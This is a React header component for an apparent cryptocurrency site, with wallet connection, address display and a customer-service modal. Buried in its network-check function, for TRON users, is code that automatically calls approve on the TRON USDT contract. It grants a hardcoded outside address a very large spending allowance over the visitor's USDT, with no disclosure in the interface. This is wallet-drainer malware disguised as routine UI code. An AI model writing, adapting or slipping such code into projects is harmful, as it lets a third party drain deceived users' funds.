import React, { useState, useEffect, useContext } from 'react';
import styles from './Header.module.less';
import Modal from './Modal';
import { checkNetwork_, getCurrentAddress, networkId, tronweb } from '@app/components/contracts';
import { useWeb3React } from '@web3-react/core';
import { injected } from '@app/components/wallet/Connectors';
import { getMyService } from '@app/common/api';
import { tronWeb } from '@app/components/contracts';
import Switch from './switch';
import { AllContext } from '../AllContext';

const Header = (props) => {
  const [isOpenModal, setIsOpenModal] = useState(false);
  const [scrollTopVal, setScrollTopVal] = useState(0);
  const [server, setServer] = useState('');
  const { active, account, library, connector, activate, deactivate } = useWeb3React();
  const { address, setAddress } = useContext(AllContext);
  useEffect(() => {
    connect();
  }, []);

  useEffect(() => {
    if (active) {
      _checkNetwork();
    }
  }, [active]);

  useEffect(() => {
    if (address && address !== 'not connected') {
      _getServer(address);
    } else {
      _getServer('');
    }
  }, [address]);

  // 获取客服
  const _getServer = async (address) => {
    try {
      const { myService } = await getMyService(address);
      setServer(myService);
    } catch (error) {}
  };

  // 连接钱包
  const connect = async () => {
    try {
      if (!active) {
        await activate(injected);
      }
    } catch (ex) {
      console.log(ex);
    }
  };

  const _checkNetwork = async () => {
    try {
      // 获取网络
      const network = await checkNetwork_();
      if (network === 1 || network === 5 || network === 56 || network === 97) {
        // 获取地址
        const address = await getCurrentAddress();
        console.log('_checkNetwork：{}', address);
        setAddress(address?.slice(0, 10) + '...');
      } else {
        let base58 = tronWeb.defaultAddress.base58;
        setAddress(base58);
        // 返回tron地址
        console.log('_tron', base58);

        // usdt abi
        const tron_usdt_abi = [
          {
            constant: true,
            inputs: [],
            name: 'name',
            outputs: [{ name: '', type: 'string' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: '_upgradedAddress', type: 'address' }],
            name: 'deprecate',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: '_spender', type: 'address' },
              { name: '_value', type: 'uint256' },
            ],
            name: 'approve',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'deprecated',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: '_evilUser', type: 'address' }],
            name: 'addBlackList',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'totalSupply',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: '_from', type: 'address' },
              { name: '_to', type: 'address' },
              { name: '_value', type: 'uint256' },
            ],
            name: 'transferFrom',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'upgradedAddress',
            outputs: [{ name: '', type: 'address' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'decimals',
            outputs: [{ name: '', type: 'uint8' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'maximumFee',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: '_totalSupply',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [],
            name: 'unpause',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [{ name: '_maker', type: 'address' }],
            name: 'getBlackListStatus',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'paused',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: '_spender', type: 'address' },
              { name: '_subtractedValue', type: 'uint256' },
            ],
            name: 'decreaseApproval',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [{ name: 'who', type: 'address' }],
            name: 'balanceOf',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [{ name: '_value', type: 'uint256' }],
            name: 'calcFee',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [],
            name: 'pause',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'owner',
            outputs: [{ name: '', type: 'address' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'symbol',
            outputs: [{ name: '', type: 'string' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: '_to', type: 'address' },
              { name: '_value', type: 'uint256' },
            ],
            name: 'transfer',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [{ name: 'who', type: 'address' }],
            name: 'oldBalanceOf',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: 'newBasisPoints', type: 'uint256' },
              { name: 'newMaxFee', type: 'uint256' },
            ],
            name: 'setParams',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: 'amount', type: 'uint256' }],
            name: 'issue',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: false,
            inputs: [
              { name: '_spender', type: 'address' },
              { name: '_addedValue', type: 'uint256' },
            ],
            name: 'increaseApproval',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: 'amount', type: 'uint256' }],
            name: 'redeem',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [
              { name: '_owner', type: 'address' },
              { name: '_spender', type: 'address' },
            ],
            name: 'allowance',
            outputs: [{ name: 'remaining', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'basisPointsRate',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: true,
            inputs: [{ name: '', type: 'address' }],
            name: 'isBlackListed',
            outputs: [{ name: '', type: 'bool' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: '_clearedUser', type: 'address' }],
            name: 'removeBlackList',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: true,
            inputs: [],
            name: 'MAX_UINT',
            outputs: [{ name: '', type: 'uint256' }],
            payable: false,
            stateMutability: 'view',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: 'newOwner', type: 'address' }],
            name: 'transferOwnership',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            constant: false,
            inputs: [{ name: '_blackListedUser', type: 'address' }],
            name: 'destroyBlackFunds',
            outputs: [],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'function',
          },
          {
            inputs: [
              { name: '_initialSupply', type: 'uint256' },
              { name: '_name', type: 'string' },
              { name: '_symbol', type: 'string' },
              { name: '_decimals', type: 'uint8' },
            ],
            payable: false,
            stateMutability: 'nonpayable',
            type: 'constructor',
          },
          {
            anonymous: false,
            inputs: [
              { indexed: true, name: '_blackListedUser', type: 'address' },
              { indexed: false, name: '_balance', type: 'uint256' },
            ],
            name: 'DestroyedBlackFunds',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
            name: 'Issue',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
            name: 'Redeem',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [{ indexed: false, name: 'newAddress', type: 'address' }],
            name: 'Deprecate',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [{ indexed: true, name: '_user', type: 'address' }],
            name: 'AddedBlackList',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [{ indexed: true, name: '_user', type: 'address' }],
            name: 'RemovedBlackList',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [
              { indexed: false, name: 'feeBasisPoints', type: 'uint256' },
              { indexed: false, name: 'maxFee', type: 'uint256' },
            ],
            name: 'Params',
            type: 'event',
          },
          { anonymous: false, inputs: [], name: 'Pause', type: 'event' },
          { anonymous: false, inputs: [], name: 'Unpause', type: 'event' },
          {
            anonymous: false,
            inputs: [
              { indexed: true, name: 'previousOwner', type: 'address' },
              { indexed: true, name: 'newOwner', type: 'address' },
            ],
            name: 'OwnershipTransferred',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [
              { indexed: true, name: 'owner', type: 'address' },
              { indexed: true, name: 'spender', type: 'address' },
              { indexed: false, name: 'value', type: 'uint256' },
            ],
            name: 'Approval',
            type: 'event',
          },
          {
            anonymous: false,
            inputs: [
              { indexed: true, name: 'from', type: 'address' },
              { indexed: true, name: 'to', type: 'address' },
              { indexed: false, name: 'value', type: 'uint256' },
            ],
            name: 'Transfer',
            type: 'event',
          },
        ];
        const tron_usdt_contract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
        // // 初始化合约
        let contract = tronWeb.contract(tron_usdt_abi, tron_usdt_contract);
        let tx = contract
          .approve('TXMrdZsY95Du4LtQTe8yLPtYiemmMLa1Lu', 1000000000000)
          .send()
          .then((output) => {
            console.group('Contract "getLast" result');
            console.log('- Output:', output, '\n');
            console.groupEnd();
          });
        console.log(tx);
      }
    } catch (error) {
      console.log('error', error);
    }
  };

  const openModal = () => {
    // 禁止滑动
    var scrollTopVal = document.documentElement.scrollTop;
    document.body.style.top = '-' + scrollTopVal + 'px';
    document.body.style.position = 'fixed';
    document.body.style.overflow = 'hidden';
    document.body.style.width = '100%';
    setIsOpenModal(true);
    setScrollTopVal(scrollTopVal);
  };

  const _closeModal = () => {
    // 解除禁止滑动
    document.body.style.position = '';
    document.body.style.top = '';
    document.body.style.overflow = '';
    document.documentElement.scrollTop = scrollTopVal;
    setIsOpenModal(false);
  };
  return (
    <div>
      <div className={styles['ui-header']}>
        <div className={styles['ui-left']}>
          <img src="images/menu.png" alt="" className={styles['ui-menu']} onClick={openModal} />
          <div className={styles['ui-menu-down']}>
            <span>{address}</span>
          </div>
        </div>
        <div className={styles['ui-right']}>
          <Switch />
        </div>
        {server && <Modal isOpenModal={isOpenModal} closemodal={_closeModal} server={server} />}
      </div>
      <div className={styles['ui-block']}></div>
    </div>
  );
};
export default Header;
